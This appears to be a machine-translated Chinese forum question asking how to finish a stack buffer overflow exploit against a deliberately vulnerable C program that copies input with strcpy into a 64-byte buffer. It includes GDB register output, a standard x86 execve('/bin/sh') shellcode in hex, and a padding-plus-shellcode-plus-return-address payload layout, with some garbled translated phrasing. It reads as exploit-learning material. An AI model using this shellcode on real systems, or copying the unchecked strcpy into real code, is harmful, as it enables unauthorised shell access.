我试图获得一个 shellcode,利用一个带有strcpy()
函数的 C 程序。
我发现我需要 68 个字节才能开始在EIP
. 所以,如果我写 72's by EIP
register is 0x41414141
.
我想要的是为 x86 操作系统插入一个 23 字节的 shellcode。所以我知道我需要这个:
- 68 个字节 - 23 个 shellcode 字节: 45
NOPs
。 - 23 字节的 Shellcode。
EIP
寄存器的4 个字节,指向 shellcode 的开始。
我不知道如何执行此操作。这是我的程序:
#include <stdio.h>
#include <string.h>
void cambiarEIP() {
printf("\n Has cambiado el valor del EIP, enhorabuena\n");
}
int main(int argc, char * argv[]) {
char buf[64];
if(argc == 1) {
printf("Uso: %s entrada\n", argv[0]);
return -1;
}
strcpy(buf,argv[1]);
printf("%s\n", buf);
return 0;
}
我想将其作为参数插入:45As+shellcode+EIP
DIR。
这是我在将 71 个字节作为参数传递时使用 GDB 得到的结果:
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
这些是我的寄存器:
(gdb) i r
eax 0x0 0
ecx 0xb7fbc4e0 -1208236832
edx 0xb7fbd360 -1208233120
ebx 0xb7fbbff4 -1208238092
esp 0xbffff4a0 0xbffff4a0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x414141 0x414141
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
我知道我需要这样的东西:
./shell \x41\*45 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + Shellcode location
如何执行此操作?